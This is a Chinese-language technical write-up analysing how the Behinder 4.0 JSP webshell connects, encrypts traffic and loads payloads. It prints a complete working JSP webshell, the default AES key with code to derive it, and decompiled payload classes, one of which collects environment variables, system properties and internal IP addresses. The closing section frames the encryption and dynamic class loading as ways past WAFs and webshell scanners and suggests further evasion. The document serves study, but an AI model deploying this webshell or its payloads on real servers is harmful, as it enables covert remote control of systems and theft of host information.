冰蝎4.0jsp木马浅析
前言
这里简单学习一下冰蝎是怎么运行的，如何通过加密解密来绕过一些常见的waf设备
工作流程
-
冰蝎准备一个经过加密的字节码，放入请求体中
-
服务端通过jsp中的密钥解密,然后调用equals方法，来获取此次执行的结果
-
将获取到的结果通过设置的密钥加密，返回给客户端
-
客户端通过密钥解密
由此可以知道密钥在流程中非常的重要，冰蝎的默认的密码为rebeyond，其加密之后得到的前16位密钥为e45e329feb5d925b
通过以下代码可以获取
import org.springframework.util.DigestUtils;
import java.security.NoSuchAlgorithmException;
public class GenerateKey {
public static void main(String[] args) throws NoSuchAlgorithmException {
String key = "rebeyond";
System.out.println(getMd5Key(key).substring(0, 16));
}
public static String getMd5Key(String key){
String md5Key = DigestUtils.md5DigestAsHex(key.getBytes());
return md5Key;
}
}
这里使用的jsp木马如下
我这里做了一些便于学习的东西，将冰蝎发送过来的字节码保存成类文件，更直观一点
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="java.io.FileOutputStream" %>
<%!
//自定义类加载器
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b)
{
//调用父类defineClass方法
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
// 获取客户端数据
String line = request.getReader().readLine();
// base64解码客户端数据
byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
// AES解密
byte[] b1 = c.doFinal(b);
// 调用父类defineClass方法，将传入数据还原为Class对象
//这里的路径需要修改成你需要保存的路径
FileOutputStream fo = new FileOutputStream("D:\\Java_Study_Thingsobj2.class");
fo.write(b1);
U u = new U(this.getClass().getClassLoader());
Class clazz = u.g(b1);
// 实例化对象将输出写入pageContext
// 客户端传入的字节码指向的类中重写了equals方法传入pageContext对象，通过pageContext对象
// 可以间接操作response，将执行结果写入response返回给客户端
clazz.newInstance().equals(pageContext);
// new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
这个jsp的木马也比较好理解，将密钥作为标识符设置到session中，然后判断是否为POST请求，如果是的话先获取客户端的请求体数据，然后先解码base64，然后解密获取class字节码数据，调用方法g来实例化对象，然后调用equals
代码分析
当点击shell列表中的shell时，会触发一系列的方法，这里涉及到javafx的东西，不在文章中简述
从doConnect开始跟进
Utils.getRandomString(randStringLength)是用来构造一段特殊的字符串，后续会有使用
进入echo，带入生成的字符串
进入Utils.getData
进入Params.getParamedClass
getTransProtocoledClass
在之前传入的Echo，在这里组合成net.rebeyond.behinder.payload.java.Echo，就是冰蝎在第一次运行的时候需要请求信息，那么每次发送的payload都需要编译的话速度会非常慢，所以作者使用操作字节码的方式来发送payload
-
首先获取Echo的CtClass对象
-
修改类名
-
移除Encrypt方法
-
创建Encrypt方法
返回Echo的字节码
然后进入到getParamedClass方法中
在这里使用了做了以下的操作:
-
修改类名，随机命名
-
使用观察者模式来操作字节码，遇到其实就是无参构造方法的时候，进行操作，具体是啥这里先不解释
回到Utils,进入cryptor.encrypt
this.getEncodeCls();
这个方法，创建了一个名为test的类，类中包含默认的加密方法，以便于下面的字节码操作
通过反射获取Encrypt方法，利用这个方法加密前面获取Echo类的字节码
回到ShellService类
下面就是把加密的字节码发送到服务器去解析了
进入doRequestAndParse
一直跟进
前面就是在添加header头，然后发送数据包
然后看服务器上
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package net.ozfvwj.qjxyz;
import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Vlfq {
public static String content;
public static String payloadBody;
private Object Request;
private Object Response;
private Object Session;
public Vlfq() {
content = "";
content = content + "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";
super();
}
public boolean equals(Object obj) {
LinkedHashMap result = new LinkedHashMap();
boolean var13 = false;
Object so;
Method write;
label95: {
try {
var13 = true;
this.fillContext(obj);
result.put("status", "success");
result.put("msg", content);
var13 = false;
break label95;
} catch (Exception var19) {
result.put("msg", var19.getMessage());
result.put("status", "success");
var13 = false;
} finally {
if (var13) {
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
System.out.println("this.buildJson(result, true) " + this.buildJson(result, true));
write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
var16.printStackTrace();
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
System.out.println("this.buildJson(result, true)2 " + this.buildJson(result, true));
write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var17) {
var17.printStackTrace();
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var18) {
var18.printStackTrace();
}
return true;
}
private String buildJson(Map entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = (String)entity.get(key);
if (encode) {
value = this.base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
在服务器端的jsp木马调用的equals方法，来具体看看这一步做了什么
-
调用fillContext方法，来初始化request和response以及一些后续需要用到的参数,这就是为啥会选择equals的方法了，传入的obj对象里面都包含需要用到的对象
-
获取response的write输出流，然后获取服务器的java版本，似乎没有用到这个版本信息，然后对result进行json处理
-
通过默认的e45e329feb5d925b作为aes的加密key来加密保存了信息的map
-
然后在对aes加密的内容做一个base64的编码
解码之后
发现这和发送的二进制流类字节码的代码中的content参数一致
然后我们发现在二进制流类中的构造方法
其实就对应了getParamedClass方法中对构造方法的操作
然后回到本地
这里就在处理一些服务器返回的信息，将response的headers赋值到resheaders中，然后进行迭代
将body里面的加密内容和data做一个map赋值到result中，服务器返回的数据里面是没有data这个东西的，这里需要注意一下，然后将返回的状态码和status以及返回包头和header做map处理，最后将result赋值给var22，返回var22
然后回到requestAndParse
取出data信息，就是返回包中的body信息，赋值到resultObj中，返回resultObj
回到shellService
取出header，然后手动创建一个status和msg的json字符串，为了后面与接受的比较，后续就是在做一个解密的操作了
回到doConnect方法
进行判断，返回的msg字符串是否和本地生成的一样
回到MainWindowController，在这里继续生成随机长度的字符串
然后继续进入getBasicInfo
进入parseCommonAction，在这里使用了BasicInfo这个类
进入getData
发现和上一步的类似,也是返回对应类的class字节码，对其加密，就不继续分析了，直接快进到doRequestAndParse发送请求
服务器接受到的类
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package sun.wspc;
import java.io.File;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Vmwqtmzls {
public static String whatever;
private Object Request;
private Object Response;
private Object Session;
public Vmwqtmzls() {
whatever = "";
whatever = whatever + "ZsnyxT8sz3FMo5E8XM4RfHFzLq39XYdmZX5WDW7zgQ5fLqUi95uMmfs4TabnTXnDZvbgCfb5dciOhQq13Dy5iGrDyVmY2SN2Yjo2MWzobJYAizHufR0sYn8eyYNSxpb13kL0oMw76OitnJysDHVIVuRuCtWhFa8MIhWGcU36piB9YIB5nqg2VXLmIYi6lUmK90MxtdL3ZShmXLyJjFNgMRyZ6SQ6kddwyYM5WK7RAbRzXkYsT017hB5nAXyACWWkHgIUexmoKlcjNBbj1qEIyj2MqNB2KCa";
super();
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var22 = false;
Object so;
Method write;
label147: {
try {
var22 = true;
this.fillContext(obj);
StringBuilder basicInfo = new StringBuilder("
环境变量:
");
Map env = System.getenv();
Iterator var5 = env.keySet().iterator();
while(var5.hasNext()) {
String name = (String)var5.next();
basicInfo.append(name + "=" + (String)env.get(name) + "
");
}
basicInfo.append("
JRE系统属性:
");
Properties props = System.getProperties();
Set entrySet = props.entrySet();
Iterator var7 = entrySet.iterator();
while(var7.hasNext()) {
Map.Entry entry = (Map.Entry)var7.next();
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "
");
}
String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
File[] var10 = roots;
int var11 = roots.length;
for(int var12 = 0; var12 < var11; ++var12) {
File f = var10[var12];
driveList = driveList + f.getPath() + ";";
}
String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
Map entity = new HashMap();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
entity.put("arch", System.getProperty("os.arch"));
entity.put("localIp", this.getInnerIp());
result.put("status", "success");
result.put("msg", this.buildJson(entity, true));
var22 = false;
break label147;
} catch (Exception var32) {
var22 = false;
} finally {
if (var22) {
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var30) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var29) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var31) {
}
return true;
}
private String getInnerIp() {
String ips = "";
try {
Enumeration netInterfaces = NetworkInterface.getNetworkInterfaces();
InetAddress ip = null;
while(netInterfaces.hasMoreElements()) {
NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();
Enumeration addresses = netInterface.getInetAddresses();
while(addresses.hasMoreElements()) {
ip = (InetAddress)addresses.nextElement();
if (ip != null && ip instanceof Inet4Address) {
ips = ips + ip.getHostAddress() + " ";
}
}
}
} catch (Exception var6) {
}
ips = ips.replace("127.0.0.1", "").trim();
return ips;
}
private String buildJson(Map entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
可以看见这里获取了环境变量以及jar系统信息
在这里也是同样的,处理返回的信息
这里不一样的地方就是在于返回的basicInfoObj对象,需要设置到gui窗口中
总结
在看完了冰蝎是怎么连接之后，对于冰蝎的工作原理也有了一定的理解，本地和服务器端都做加密和解密的操作，以此来绕过流量检测设备以及一些waf，而且通过动态的加载class字节码，也可以绕过一些普通的webshell查杀设备，后续的一些绕过，可以在加密方式以及特征值的修改上入手
参考链接
-
https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
-
https://github.com/rebeyond/Behinder
-
https://github.com/MountCloud/BehinderClientSource